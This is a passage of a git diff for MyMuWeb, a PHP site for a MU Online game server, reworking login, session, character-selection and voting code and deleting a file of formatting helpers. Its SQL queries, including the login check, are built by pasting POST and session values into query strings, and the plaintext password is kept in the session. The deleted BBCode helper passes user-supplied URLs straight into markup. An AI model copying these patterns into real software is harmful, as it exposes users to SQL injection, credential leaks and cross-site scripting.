';} - } - elseif($style == 'default') { - echo "\n ".mmw_lang_total_users_online.": $users_connected[0]
".mmw_lang_total_accounts.": $total_accounts[0]
".mmw_lang_total_characters.": $total_characters[0]
".mmw_lang_total_banneds.": $total_banneds[0]
".mmw_lang_total_actives.": $actives_acc[0]
".mmw_lang_total_guilds.": $total_guilds[0]
"; - } - -} -/////// End Statisitcs /////// - - - - - -/////// Start Check Char_Set /////// -if(isset($_SESSION[pass]) && isset($_SESSION[user])) { - $login = clean_var(stripslashes($_SESSION[user])); - if(isset($_POST['setchar'])) { - $setchar = clean_var(stripslashes($_POST['setchar'])); - $setchar_sql = mssql_query("Select AccountID From Character WHERE name='$setchar'"); - $setchar_row = mssql_fetch_row($setchar_sql); - if($setchar_row[0] == $_SESSION['user']) { - $char_guid_sql = mssql_query("SELECT GUID FROM T_CGuid WHERE Name='$setchar'"); - $char_guid_row = mssql_fetch_row($char_guid_sql); - $_SESSION['char_set'] = $setchar; - $_SESSION['char_guid'] = $char_guid_row[0]; + if (isset($_POST['account'])) { + $account = clean_var($_POST['account']); } - } - if(isset($_SESSION['char_set'])) { - $char_set = clean_var(stripslashes($_SESSION['char_set'])); - $char_set_sql = mssql_query("Select AccountID From Character WHERE name='$char_set'"); - $char_set_row = mssql_fetch_row($char_set_sql); - if($char_set_row[0] != $login) { - unset($_SESSION['char_set']); - unset($_SESSION['char_guid']); + if (isset($_POST['password'])) { + $password = clean_var($_POST['password']); } - } - $form_setchar_sql = mssql_query("Select name,CtlCode FROM Character WHERE AccountID='$login'"); - $form_memb_info_sql = mssql_query("Select GameIDC FROM AccountCharacter WHERE Id='$login'"); - $form_memb_info_row = mssql_fetch_row($form_memb_info_sql); - $form_setchar_num = mssql_num_rows($form_setchar_sql); - if($form_setchar_num > 0) { - for($i=0; $i < $form_setchar_num; ++$i) { - $form_setchar = mssql_fetch_row($form_setchar_sql); - if(!isset($_SESSION['char_set']) && $form_memb_info_row[0]==$form_setchar[0]) { - $char_guid = @mssql_query("SELECT GUID FROM T_CGuid WHERE Name='$form_setchar[0]'"); - $char_guid_row = @mssql_fetch_row($char_guid); - $_SESSION['char_set'] = $form_setchar[0]; - $_SESSION['char_guid'] = $char_guid_row[0]; - $detect_char_session = 'yes'; - } - if(!isset($_SESSION['char_set']) && $i==$form_setchar_num-1) { - $char_guid = @mssql_query("SELECT GUID FROM T_CGuid WHERE Name='$form_setchar[0]'"); - $char_guid_row = @mssql_fetch_row($char_guid); - $_SESSION['char_set'] = $form_setchar[0]; - $_SESSION['char_guid'] = $char_guid_row[0]; - } - } - } - mssql_query("UPDATE AccountCharacter SET [GameIDC]='$_SESSION[char_set]' WHERE Id='$login'"); -} -/////// End Check Char_Set /////// - - - - - -/////// Start Login Form /////// -function login_form() { - if(isset($_SESSION[pass]) && isset($_SESSION[user])) { - require("config.php"); - $login = clean_var(stripslashes($_SESSION['user'])); - // Select Char - $form_setchar_sql = mssql_query("Select name FROM Character WHERE AccountID='$login'"); - $form_set_char_num = mssql_num_rows($form_setchar_sql); - if($form_set_char_num > 0) { - $setchar = "
"; + $row = mssql_fetch_assoc(mssql_query("SELECT + memb___id, mmw_status + FROM dbo.MEMB_INFO + WHERE memb___id='{$account}' AND memb__pwd=" . ( + !empty($mmw['md5']) + ? "[dbo].[fn_md5]('{$password}', '{$account}')" + : "'{$password}'" + ))); + + if ($row) { + $_SESSION['user'] = $row['memb___id']; + $_SESSION['pass'] = $password; + $_SESSION['mmw_status'] = $row['mmw_status']; + } else { + jump('?op=login&login=false'); } - - // Mail Check - $char_guid = clean_var(stripslashes($_SESSION[char_guid])); - $msg = @mssql_query("SELECT bRead FROM T_FriendMail WHERE GUID='$char_guid'"); - $msg_num = @mssql_num_rows($msg); - $msg_new = @mssql_query("SELECT bRead FROM T_FriendMail WHERE GUID='$char_guid' AND bRead='0'"); - $msg_new_num = @mssql_num_rows($msg_new); - if($mmw[max_private_message] <= $msg_num) {$msg_full = 'Full!';} else{$msg_full = '';} - if($msg_num=="" || $msg_num==" ") {$msg_num = 0; $msg_new_num = 0;} - - // End Form - echo mmw_lang_hello . " $login!
"; - include('includes/acc_menu.php'); - echo "

"; - if($msg_new_num > 0) - {echo "";} - } - else { - // No Login - echo "
- ".mmw_lang_account."
-
- ".mmw_lang_password."
-
".mmw_lang_lost_pass." -
"; - } -} -/////// End Login Form /////// - - - - - - -/////// Start Online Char /////// -$date = time(); -$ip = $_SERVER['REMOTE_ADDR']; -$url = clean_var(stripslashes($_SERVER['QUERY_STRING'])); //REQUEST_URI -$agent = clean_var(stripslashes($_SERVER['HTTP_USER_AGENT'])); -$char_set = clean_var(stripslashes($_SESSION[char_set])); -$check_online = mssql_query("SELECT online_char FROM MMW_online WHERE [online_ip]='$ip'"); -if(mssql_num_rows($check_online) > 0) { - mssql_query("UPDATE MMW_online SET [online_date]='$date',[online_char]='$char_set',[online_url]='$url',[online_agent]='$agent' WHERE online_ip='$ip'"); -} -else { - mssql_query("INSERT INTO MMW_online ([online_ip],[online_date],[online_url],[online_char],[online_agent]) VALUES ('$ip','$date','$url','$char_set','$agent')"); -} - -$timeout = time() - $mmw[time_out_online]; -$guest_res = mssql_query("SELECT * FROM MMW_online WHERE online_date>'$timeout' AND online_char=''"); -$guest_num = mssql_num_rows($guest_res); -$online_res = mssql_query("SELECT online_char FROM MMW_online WHERE online_date>'$timeout' AND online_char!=''"); -$online_num = mssql_num_rows($online_res); -$who_online = mmw_lang_total_on_web.": ".($guest_num+$online_num)."
".mmw_lang_total_guest.": $guest_num
".mmw_lang_total_accounts.": $online_num
"; -if($online_num != 0) { - for($i=0; $i < $online_num; ++$i) { - $acc_online = mssql_fetch_row($online_res); - $char_on_sql = mssql_query("Select name,CtlCode From Character WHERE name='$acc_online[0]'"); - if($i < $online_num - 1) {$other_char_on = ', ';} else {$other_char_on = '';} - $char_on = mssql_fetch_row($char_on_sql); - $who_online .= "$char_on[0]$other_char_on"; - } } -else{ - $who_online .= mmw_lang_there_is_nobody; -} -function who_online() { - global $who_online; - echo $who_online; -} -/////// END Online Char /////// - - - - - - -/////// Start Voting /////// -if(isset($_POST[id_vote]) && isset($_POST[answer])) { - $id_vote = clean_var(stripslashes($_POST[id_vote])); - $answer = clean_var(stripslashes($_POST[answer])); - if($mmw[votes_check]==acc && isset($login)) {$vote_by = $login; $vote_check = 1;} - if($mmw[votes_check]==ip) {$vote_by = $_SERVER['REMOTE_ADDR']; $vote_check = 1;} - if($vote_check == 1) { - $vote_who_res = mssql_query("SELECT answer FROM MMW_voterow WHERE ID_vote='$id_vote' and who='$vote_by'"); - $check_your_vote = mssql_num_rows($vote_who_res); - if($check_your_vote < 1) { - mssql_query("INSERT INTO MMW_voterow (id_vote,who,answer) VALUES ('$id_vote','$vote_by','$answer')"); +/* Check Login */ +if (isset($_SESSION['user'])) { + $account = $_SESSION['user']; + $password = $_SESSION['pass']; + + $checkPassword = !empty($mmw['md5']) + ? "[dbo].[fn_md5]('{$password}', '{$account}')" + : "'{$password}'"; + + $row = mssql_fetch_assoc(mssql_query("SELECT + bloc_code,block_date,unblock_time,mmw_status, + (case when memb__pwd = {$checkPassword} then 1 else 0 end) AS pass_is_true + FROM dbo.MEMB_INFO + WHERE memb___id='{$account}'")); + + if ($row['bloc_code'] == 1) { + if ($row['unblock_time'] > 0 && ($row['block_date'] + $row['unblock_time'] - time()) < 0) { + mssql_query("UPDATE dbo.MEMB_INFO SET [bloc_code]=0,[unblock_time]=0,[block_date]=0 WHERE memb___id='{$account}'"); } + session_destroy(); + jump('?op=checkacc&w=block&n=' . $account); } -} - -$vote_res = mssql_query("SELECT TOP 1 ID,question,answer1,answer2,answer3,answer4,answer5,answer6 FROM MMW_votemain ORDER BY NEWID()"); -if(mssql_num_rows($vote_res) != 0) { - $vote_row = mssql_fetch_row($vote_res); - $vote_check = 0; - - if($mmw[votes_check]==acc && isset($login)) {$vote_who_now = $login; $vote_check = 1;} - if($mmw[votes_check]==ip) {$vote_who_now = $_SERVER['REMOTE_ADDR']; $vote_check = 1;} - if($vote_check == 1) { - $vote_who_res = mssql_query("SELECT who,answer FROM MMW_voterow WHERE ID_vote='$vote_row[0]' and who='$vote_who_now'"); - $check_your_vote = mssql_num_rows($vote_who_res); - } - - $voting = "
$vote_row[1]
"; - if($check_your_vote < 1 && $vote_check == 1) { - for($c=1; $c < 7; ++$c) { - $answer_num = $c + 1; - if($vote_row[$answer_num]!=' ' && isset($vote_row[$answer_num])) - {$voting = $voting . "
";} - } - $voting = $voting . "
"; - } - else { - $all_vote_res = mssql_query("SELECT ID_vote FROM MMW_voterow WHERE ID_vote='$vote_row[0]'"); - $all_vote_num = mssql_num_rows($all_vote_res); - for($c=1; $c < 7; ++$c) { - $answer_num = $c + 1; - if($vote_row[$answer_num]!=' ' && isset($vote_row[$answer_num])) { - $votes_row_res = mssql_query("SELECT who,answer FROM MMW_voterow WHERE ID_vote='$vote_row[0]' and answer='$c'"); - $votes_row_num = mssql_num_rows($votes_row_res); - $img_file = default_img("bar.jpg"); - $size = @getimagesize($img_file); - $img_width = ($votes_row_num > 0) ? ceil(100 * $votes_row_num / $all_vote_num) : 1; - $voting = $voting . "
$c. $vote_row[$answer_num] ($votes_row_num)
"; - $voting = $voting . "
"; + if (empty($row['pass_is_true']) || $row['mmw_status'] != $_SESSION['mmw_status']) { + $_REQUEST['logout'] = true; } - } - $voting = $voting . "
".mmw_lang_all_answers.": $all_vote_num
"; - } - $voting = $voting . "
"; } -else { - $voting = mmw_lang_no_vote; -} - -function voting() { - global $voting; - echo $voting; -} -/////// END Voting /////// - - - - -/////// Start Pop Under ////// -function popunder() { - echo ""; -} -/////// End Pop Under /////// - - - - - -/////// Start Last in Forum /////// -function last_in_forum($top=NULL) { - if($top==NULL) {$top = '5';} - $style = "$4. $2
"; - $result = mssql_query("SELECT TOP $top f_id,f_title,f_text FROM MMW_forum ORDER BY f_date DESC"); - $forum_post = mssql_num_rows($result); - if($forum_post == 0) {echo mmw_lang_no_topics_in_forum;} - for ($i = 0; $i < $forum_post; $i++) { - $numb = $i + 1; - $row = mssql_fetch_row($result); - $text = '[url=?forum='.$row[0].'][title='.$row[1].'][alt='.bbcode($row[2]).'][numb='.$numb.']'; - $text = preg_replace("/\[url\=(.*?)\]\[title\=(.*?)\]\[alt\=(.*?)\]\[numb\=(.*?)\]/is", $style, $text); - echo " $text \n"; - } +/* Logout */ +if (isset($_REQUEST['logout'])) { + unset($_SESSION['user'], $_SESSION['pass'], $_SESSION['mmw_status'], $_SESSION['character']); + jump('?op=news'); } -/////// END Last in Forum /////// - - - - - -/////// Start Guard MMW Message Info /////// -function guard_mmw_mess($to,$text) { - $date = date("m/d/y H:i:s"); - $msg_to_sql = @mssql_query("SELECT GUID,MemoCount FROM T_FriendMain WHERE Name='$to'"); - $msg_to_row = @mssql_fetch_row($msg_to_sql); - $mail_total_sql = @mssql_query("SELECT bRead FROM T_FriendMail WHERE GUID='$msg_to_row[0]'"); - $mail_total_num = @mssql_num_rows($mail_total_sql); - $msg_id = $msg_to_row[1] + 1; - $msg_text = utf_to_win($text); - @mssql_query("INSERT INTO T_FriendMail (MemoIndex, GUID, FriendName, wDate, Subject, bRead, Memo, Dir, Act, Photo) VALUES ('$msg_id','$msg_to_row[0]','Guard','$date','MMW Message!','0',CAST('$msg_text' AS VARBINARY(1000)),'143','2',0x3061FF99999F12490400000060F0)"); - @mssql_query("UPDATE T_FriendMain set [MemoCount]='$msg_id',[MemoTotal]='$mail_total_num' WHERE Name='$to'"); +/* User Panel */ +if (isset($_GET['op'])) { + if ($_GET['op'] === 'user' && empty($_SESSION['user'])) { + jump('?op=login'); + } + if (in_array($_GET['op'], ['login', 'register']) && isset($_SESSION['user'])) { + jump('?op=user'); + } } -/////// Start Guard MMW Message Info /////// - - - - +/////// End Login Modules /////// -/////// Start TOP List /////// -function top_list($what=NULL,$top=NULL) { - require("config.php"); - if($top==NULL) {$top = '5';} - if($what==NULL) {$what = 'char';} - echo ""; - if($mmw[gm]=='no') {$gm_not_show = "WHERE ctlcode !='32' AND ctlcode !='8'";} - if($what=='char') { - $total = mssql_query("SELECT TOP $top Name,cLevel,Reset FROM Character $gm_not_show ORDER BY reset desc, clevel desc"); - $first_row = mssql_fetch_row(mssql_query("SELECT TOP 1 Reset FROM Character $gm_not_show ORDER BY reset desc, clevel desc")); - if($first_row[0] <= 0) {$what_of_sort = mmw_lang_level;} else {$what_of_sort = mmw_lang_reset;} - echo ""; - for($i=0; $i<$top; ++$i) { - $rank = $i + 1; - $row = mssql_fetch_row($total); - if($first_row[0] <= 0) {$top_stat = $row[1];} else {$top_stat = $row[2];} - echo "\n"; +/////// Start Check Character /////// +if (isset($_SESSION['user'])) { + if (isset($_REQUEST['set_char'])) { + $_SESSION['character'] = clean_var($_REQUEST['set_char']); } - } - elseif($what=='pk') { - $total = mssql_query("SELECT TOP $top Name,PKcount FROM Character $gm_not_show ORDER BY pkcount desc"); - $first_row = mssql_fetch_row(mssql_query("SELECT TOP 1 Reset FROM Character $gm_not_show ORDER BY reset desc, clevel desc")); - echo ""; - - for($i=0; $i<$top; ++$i) { - $rank = $i + 1; - $row = mssql_fetch_row($total); - echo "\n"; - } - } - elseif($what=='guild') { - $total = mssql_query("SELECT TOP $top G_Name,G_Score,G_Mark FROM Guild WHERE G_Name!='$mmw[gm_guild]' ORDER BY G_score desc"); - echo ""; - - for($i=0; $i<$top; ++$i) { - $rank = $i + 1; - $row = mssql_fetch_row($total); - echo "\n"; - } - } - elseif($what=='ref') { - $total = mssql_query("SELECT TOP $top ref_acc,count(ref_acc) FROM memb_info WHERE ref_acc!=' ' group by ref_acc order by count(ref_acc) desc"); - echo ""; - - for($i=0; $i<$top; ++$i) { - $rank = $i + 1; - $row = mssql_fetch_row($total); - echo "\n"; + /* Check Session */ + if (isset($_SESSION['character'])) { + $row = mssql_fetch_row(mssql_query("SELECT AccountID FROM dbo.Character WHERE Name='{$_SESSION['character']}'")); + if ($row[0] !== $_SESSION['user']) { + unset($_SESSION['character']); + } } - } - elseif($what=='best') { - $strong_result = mssql_query("SELECT TOP 1 Name FROM Character $gm_not_show ORDER BY strength DESC, dexterity DESC, vitality DESC, energy DESC, Leadership DESC"); - $strong_row = mssql_fetch_row($strong_result); - if(empty($strong_row[0])) {$strong = '---';} - else {$strong = ''.$strong_row[0].'';} - echo ""; - } - echo "
#".mmw_lang_character."$what_of_sort
$rank$row[0]$top_stat#".mmw_lang_character."".mmw_lang_killed."
$rank$row[0]$row[1]#".mmw_lang_guild."".mmw_lang_score."
$rank$row[0]$row[1]#".mmw_lang_account."".mmw_lang_referral."
$rank$row[0]$row[1]".mmw_lang_very_strong.": $strong"; - - if($mmw['gm']=='no'){$no_gm_in_top = "AND ctlcode!='32' AND ctlcode!='8'";} - for($i=0;$i<'6';$i++) { - $class = $i * 16; - $strongs_result = mssql_query("SELECT TOP 1 Name FROM Character WHERE class>='$class' AND class<='".($class+15)."' $no_gm_in_top ORDER BY strength DESC, dexterity DESC, vitality DESC, energy DESC, Leadership DESC"); - $strongs_row = mssql_fetch_row($strongs_result); - echo '
» '.char_class($class,'full').': '; - if(empty($strongs_row[0])) {echo '---';} - else {echo ''.$strongs_row[0].'';} + if (empty($_SESSION['character'])) { + $row = mssql_fetch_row(mssql_query("SELECT GameIDC FROM dbo.AccountCharacter WHERE Id='{$_SESSION['user']}'")); + if (empty($row[0])) { + $row = mssql_fetch_row(mssql_query("SELECT name FROM dbo.Character WHERE AccountID='{$_SESSION['user']}'")); + } + $_SESSION['character'] = $row[0]; } - - $gamer_result = mssql_query("SELECT TOP 1 GameIDC FROM AccountCharacter WHERE Id=(SELECT TOP 1 memb___id FROM MEMB_STAT WHERE ConnectStat='1' ORDER BY ConnectTM ASC)"); - $gamer_row = mssql_fetch_row($gamer_result); - $guild_result = mssql_query("SELECT TOP 1 G_Name FROM Guild ORDER BY G_Score DESC"); - $guild_row = mssql_fetch_row($guild_result); - if(empty($gamer_row[0])) {$gamer = '---';} - else {$gamer = ''.$gamer_row[0].'';} - if(empty($guild_row[0])) {$best_guild = '---';} - else {$best_guild = ''.$guild_row[0].'';} - echo "
".mmw_lang_best_gamer.": $gamer
".mmw_lang_best_guild.": $best_guild
"; + mssql_query("UPDATE dbo.AccountCharacter SET [GameIDC]='{$_SESSION['character']}' WHERE Id='{$_SESSION['user']}'"); } -/////// End TOP List /////// - +/////// End Check Character /////// +/////// Start Vote ////// +if (isset($_POST['id_vote'], $_POST['answer'])) { + $votingIndicator = ($mmw['votes_check'] === 'acc') + ? $_SESSION['user'] + : $_SERVER['REMOTE_ADDR']; - -/////// Start FreeHex Formats /////// -function free_hex($size,$str,$style=NULL) { - if($size == 20) {$hex = 'FFFFFFFFFFFFFFFFFFFF';} // 0.97 - 1.02 - elseif($size == 32) {$hex = 'FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF';} // 1.02+ - else { - for($a=0; $a<$size; ++$a) { - $hex .= 'F'; + $voteId = intval($_POST['id_vote']); + $answer = intval($_POST['answer']); + if (!empty($votingIndicator)) { + $votingCheckQuery = mssql_query("SELECT answer FROM dbo.MMW_voterow WHERE id_vote='{$voteId}' AND who='{$votingIndicator}'"); + if (!mssql_num_rows($votingCheckQuery)) { + mssql_query("INSERT INTO dbo.MMW_voterow (id_vote, who, answer) VALUES ('{$voteId}', '{$votingIndicator}', '{$answer}')"); + } } - } - if(isset($style) && $style!='') {$hex = str_replace('F',$style,$hex);} - for($i=0; $i<$str; ++$i) { - $result .= $hex; - } - return $result; } -/////// END FreeHex Formats /////// +/////// End Vote /////// - - - -/////// Start MMW End ////// -function end_mmw() { - global $mmw; - $TimeStart = $_SESSION[TimeStart]; - $TimeEnd = gettimeofday(); - $ExecTime = ($TimeEnd["sec"]+($TimeEnd["usec"]/1000000)) - ($TimeStart["sec"]+($TimeStart["usec"]/1000000)); - echo "MyMuWeb $mmw[version] by Vaflan. Design By $mmw[thm_creator]. Generation Time: "; - echo substr($ExecTime,0,5).'s.'; +/////// Start Auto Func ////// +if ($mmw['auto_func']['switch']) { + if (is_dir($mmw['auto_func']['dir']) && $dh = opendir($mmw['auto_func']['dir'])) { + while (($file = readdir($dh)) !== false) { + switch (substr($file, -3)) { + case 'php': + include_once $mmw['auto_func']['dir'] . $file; + break; + case 'mmw': + mmw($mmw['auto_func']['dir'] . $file); + break; + } + } + closedir($dh); + } } -/////// End MMW End /////// -?> \ No newline at end of file +/////// End Auto Func /////// diff --git a/includes/format.php b/includes/format.php deleted file mode 100644 index a5b8c45..0000000 --- a/includes/format.php +++ /dev/null @@ -1,589 +0,0 @@ - 0) { - $rest = ($diff % 86400); - $days = ($diff - $rest) / 86400; - - if($rest % 3600 > 0) { - $rest1 = ($rest % 3600); - $hours = ($rest - $rest1) / 3600; - if($rest1 % 60 > 0) { - $rest2 = ($rest1 % 60); - $minutes = ($rest1 - $rest2) / 60; - $seconds = $rest2; - } - else { - $minutes = $rest1 / 60; - } - } - else { - $hours = $rest / 3600; - } - } - - $times = (($days > 0) ? $days .' days ' : '' ). (($hours > 0 ) ? $hours .'h ' :'' ). $minutes .'m '.$seconds.'s'; - if($format =='long') $times = (($days > 0) ? $days .' Days ' : '' ). (($hours > 0 && $hours != 12) ? $hours .' Hours ' :'' ). $minutes .' Minutes ';//.$seconds.' seconds'; - return $times; -} -/////// END Date Formats /////// - - - - - - -/////// Start BBCode Formats /////// -function bbcode($text) { - $bbcode = array( - "/\[br\]/is" => "
", - "/\[hr\]/is" => "
", - "/\[b\](.*?)\[\/b\]/is" => "$1", - "/\[i\](.*?)\[\/i\]/is" => "$1", - "/\[u\](.*?)\[\/u\]/is" => "$1", - "/\[s\](.*?)\[\/s\]/is" => "$1", - "/\[o\](.*?)\[\/o\]/is" => "$1", - "/\[c\](.*?)\[\/c\]/is" => "
$1
", - "/\[l\](.*?)\[\/l\]/is" => "
$1
", - "/\[r\](.*?)\[\/r\]/is" => "
$1
", - "/\[center\](.*?)\[\/center\]/is" => "
$1
", - "/\[left\](.*?)\[\/left\]/is" => "
$1
", - "/\[right\](.*?)\[\/right\]/is" => "
$1
", - "/\[sup\](.*?)\[\/sup\]/is" => "$1", - "/\[sub\](.*?)\[\/sub\]/is" => "$1", - "/\[img\](.*?)\[\/img\]/is" => "", - "/\[color\=(.*?)\](.*?)\[\/color\]/is" => "$2", - "/\[font\=(.*?)\](.*?)\[\/font\]/is" => "$2", - "/\[size\=(.*?)\](.*?)\[\/size\]/is" => "$2", - "/\[url\=(.*?)\](.*?)\[\/url\]/is" => "$2", - "/\[video\]http:\/\/www.youtube.com\/watch\?v=(.*?)\[\/video\]/is" => "", - ); - $text = preg_replace(array_keys($bbcode), array_values($bbcode), $text); - return $text; -} -/////// END BBCode Formats /////// - - - - - -/////// Start Smile Formats /////// -function smile($smile) { - $smile = str_replace(" >( "," ",$smile); - $smile = str_replace(" :D "," ",$smile); - $smile = str_replace(" B) "," ",$smile); - $smile = str_replace(" ;( "," ",$smile); - $smile = str_replace(" <_< "," ",$smile); - $smile = str_replace(" ^_^ "," ",$smile); - $smile = str_replace(" :( "," ",$smile); - $smile = str_replace(" :) "," ",$smile); - $smile = str_replace(" :o "," ",$smile); - $smile = str_replace(" :p "," ",$smile); - $smile = str_replace(" %) "," ",$smile); - $smile = str_replace(" ;) "," ",$smile); - $smile = str_replace(" (hello) "," ",$smile); - $smile = str_replace(" (boo) "," ",$smile); - return $smile; -} -/////// END Smile Formats /////// - - - - - -/////// Start BugText Formats /////// -function bugsend($bug) { - $bug = str_replace("<","<",$bug); - $bug = str_replace(">",">",$bug); - //$bug = str_replace("&","&",$bug); - $bug = str_replace('"',""",$bug); - //$bug = str_replace("/","/",$bug); - $bug = str_replace("?","?",$bug); - $bug = str_replace("","—",$bug); - $bug = str_replace("'","'",$bug); - $bug = str_replace("!","!",$bug); - $bug = str_replace("$","$",$bug); - $bug = str_replace("%","%",$bug); - $bug = str_replace("*","*",$bug); - $bug = str_replace("+","+",$bug); - $bug = str_replace("\n","[br]",$bug); - $bug = str_replace("\r"," ",$bug); - $bug = str_replace(chr(hexdec('5c')),"\",$bug); - return $bug; -} -/////// END BugText Formats /////// - - - - - -/////// Start Zen Formats /////// -function zen_format($money,$format=NULL) { - if($format == 'small') { - $money_check = substr($money, -3); - if($money_check=='000') { - $money = substr($money, 0, -3) . 'k'; - $money_check = substr($money, -4); - if($money_check=='000k') { - $money = substr($money, 0, -4) . 'kk'; - $money_check = substr($money, -5); - if($money_check=='000kk') { - $money = substr($money, 0, -5) . 'kkk'; - $money_check = substr($money, -6); - if($money_check=='000kkk') { - $money = substr($money, 0, -6) . 'kkkk'; - } - } - } - } - } - else { - $money = number_format($money); - } - return $money; -} -/////// END Zen Formats /////// - - - - - -/////// Start Points Formats /////// -function point_format($str=NULL) { - if($str < 0) {$str = 32767 + (32768 + $str);} - return $str; -} -/////// END Points Formats /////// - - - - - - -/////// Start Country Formats /////// -function country($country) { - if($country==1){$country = "Albania";} - elseif($country==2){$country = "Algeria";} - elseif($country==3){$country = "Angola";} - elseif($country==4){$country = "Argentina";} - elseif($country==5){$country = "Armenia";} - elseif($country==6){$country = "Australia";} - elseif($country==7){$country = "Austria";} - elseif($country==8){$country = "Azerbaijan";} - elseif($country==9){$country = "Bahamas";} - elseif($country==10){$country = "Bahrain";} - elseif($country==11){$country = "Bangladesh";} - elseif($country==12){$country = "Belarus";} - elseif($country==13){$country = "Belgium";} - elseif($country==14){$country = "Bolivia";} - elseif($country==15){$country = "Botswana";} - elseif($country==16){$country = "Brazil";} - elseif($country==17){$country = "Brunei";} - elseif($country==18){$country = "Bulgaria";} - elseif($country==19){$country = "Burkina Faso";} - elseif($country==20){$country = "Cameroon";} - elseif($country==21){$country = "Canada";} - elseif($country==22){$country = "Chile";} - elseif($country==23){$country = "China";} - elseif($country==24){$country = "Colombia";} - elseif($country==25){$country = "Congo (Brazzaville)";} - elseif($country==26){$country = "Congo DR";} - elseif($country==27){$country = "Costa Rica";} - elseif($country==28){$country = "Cote dIvoire";} - elseif($country==29){$country = "Croatia";} - elseif($country==30){$country = "Cuba";} - elseif($country==31){$country = "Czech Republic";} - elseif($country==32){$country = "Denmark";} - elseif($country==33){$country = "Dominican Republic";} - elseif($country==34){$country = "Ecuador";} - elseif($country==35){$country = "Egypt";} - elseif($country==36){$country = "El Salvador";} - elseif($country==37){$country = "Estonia";} - elseif($country==38){$country = "Ethiopia";} - elseif($country==39){$country = "Finland";} - elseif($country==40){$country = "France";} - elseif($country==41){$country = "Gabon";} - elseif($country==42){$country = "Gambia";} - elseif($country==43){$country = "Germany";} - elseif($country==44){$country = "Greece";} - elseif($country==45){$country = "Guatemala";} - elseif($country==46){$country = "Guinea";} - elseif($country==47){$country = "Guinea-Bissau";} - elseif($country==48){$country = "Guyana";} - elseif($country==49){$country = "Haiti";} - elseif($country==50){$country = "Honduras";} - elseif($country==51){$country = "Hong Kong";} - elseif($country==52){$country = "Hungary";} - elseif($country==53){$country = "Iceland";} - elseif($country==54){$country = "India";} - elseif($country==55){$country = "Indonesia";} - elseif($country==56){$country = "Iran";} - elseif($country==57){$country = "Iraq";} - elseif($country==58){$country = "Ireland";} - elseif($country==59){$country = "Israel";} - elseif($country==60){$country = "Italy";} - elseif($country==61){$country = "Jamaica";} - elseif($country==62){$country = "Japan";} - elseif($country==63){$country = "Jordan";} - elseif($country==64){$country = "Kazakstan";} - elseif($country==65){$country = "Kenya";} - elseif($country==66){$country = "Korea";} - elseif($country==67){$country = "Korea, South";} - elseif($country==68){$country = "Kuwait";} - elseif($country==69){$country = "Latvia";} - elseif($country==70){$country = "Lebanon";} - elseif($country==71){$country = "Liberia";} - elseif($country==72){$country = "Libya";} - elseif($country==73){$country = "Lithuania";} - elseif($country==74){$country = "Luxembourg";} - elseif($country==75){$country = "Madagascar";} - elseif($country==76){$country = "Malawi";} - elseif($country==77){$country = "Malaysia";} - elseif($country==78){$country = "Mali";} - elseif($country==79){$country = "Malta";} - elseif($country==80){$country = "Mexico";} - elseif($country==81){$country = "Moldova";} - elseif($country==82){$country = "Mongolia";} - elseif($country==83){$country = "Morocco";} - elseif($country==84){$country = "Mozambique";} - elseif($country==85){$country = "Myanmar (Burma)";} - elseif($country==86){$country = "Namibia";} - elseif($country==87){$country = "Netherlands";} - elseif($country==88){$country = "New Zealand";} - elseif($country==89){$country = "Nicaragua";} - elseif($country==90){$country = "Niger";} - elseif($country==91){$country = "Nigeria";} - elseif($country==92){$country = "Norway";} - elseif($country==93){$country = "Oman";} - elseif($country==94){$country = "Pakistan";} - elseif($country==95){$country = "Panama";} - elseif($country==96){$country = "Papua New Guinea";} - elseif($country==97){$country = "Paraguay";} - elseif($country==98){$country = "Peru";} - elseif($country==99){$country = "Philippines";} - elseif($country==100){$country = "Poland";} - elseif($country==101){$country = "Portugal";} - elseif($country==102){$country = "Qatar";} - elseif($country==103){$country = "Romania";} - elseif($country==104){$country = "Russia";} - elseif($country==105){$country = "Saudi Arabia";} - elseif($country==106){$country = "Senegal";} - elseif($country==107){$country = "Serbia";} - elseif($country==108){$country = "Sierra Leone";} - elseif($country==109){$country = "Singapore";} - elseif($country==110){$country = "Slovakia";} - elseif($country==111){$country = "Slovenia";} - elseif($country==112){$country = "Somalia";} - elseif($country==113){$country = "South Africa";} - elseif($country==114){$country = "Spain";} - elseif($country==115){$country = "Sri Lanka";} - elseif($country==116){$country = "Sudan";} - elseif($country==117){$country = "Suriname";} - elseif($country==118){$country = "Sweden";} - elseif($country==119){$country = "Switzerland";} - elseif($country==120){$country = "Syria";} - elseif($country==121){$country = "Taiwan";} - elseif($country==122){$country = "Tanzania";} - elseif($country==123){$country = "Thailand";} - elseif($country==124){$country = "Togo";} - elseif($country==125){$country = "Trinidad";} - elseif($country==126){$country = "Tunisia";} - elseif($country==127){$country = "Turkey";} - elseif($country==128){$country = "Uganda";} - elseif($country==129){$country = "Ukraine";} - elseif($country==130){$country = "United Arab Emirates";} - elseif($country==131){$country = "United Kingdom";} - elseif($country==132){$country = "United States";} - elseif($country==133){$country = "Uruguay";} - elseif($country==134){$country = "Venezuela";} - elseif($country==135){$country = "Vietnam";} - elseif($country==136){$country = "Yemen";} - elseif($country==137){$country = "Zambia";} - elseif($country==138){$country = "Zimbabwe";} - else{$country = "Unknow";} - return $country; -} -/////// END Country Formats /////// - - - - - - - - - -/////// Start Map Formats /////// -function map($map) { - if($map == 0){$map = 'Lorencia';} - elseif($map == 1){$map = 'Dungeon';} - elseif($map == 2){$map = 'Devias';} - elseif($map == 3){$map = 'Noria';} - elseif($map == 4){$map = 'LostTower';} - elseif($map == 5){$map = 'PlaceOfExil';} - elseif($map == 6){$map = 'Stadium';} - elseif($map == 7){$map = 'Atlans';} - elseif($map == 8){$map = 'Tarkan';} - elseif($map == 9){$map = 'Devil Square';} - elseif($map == 10){$map = 'Icarus';} - elseif($map == 11){$map = 'Blood Castle 1';} - elseif($map == 12){$map = 'Blood Castle 2';} - elseif($map == 13){$map = 'Blood Castle 3';} - elseif($map == 14){$map = 'Blood Castle 4';} - elseif($map == 15){$map = 'Blood Castle 5';} - elseif($map == 16){$map = 'Blood Castle 6';} - elseif($map == 17){$map = 'Blood Castle 7';} - elseif($map == 18){$map = 'Chaos Castle 1';} - elseif($map == 19){$map = 'Chaos Castle 2';} - elseif($map == 20){$map = 'Chaos Castle 3';} - elseif($map == 21){$map = 'Chaos Castle 4';} - elseif($map == 22){$map = 'Chaos Castle 5';} - elseif($map == 23){$map = 'Chaos Castle 6';} - elseif($map == 24){$map = 'Kalima 1';} - elseif($map == 25){$map = 'Kalima 2';} - elseif($map == 26){$map = 'Kalima 3';} - elseif($map == 27){$map = 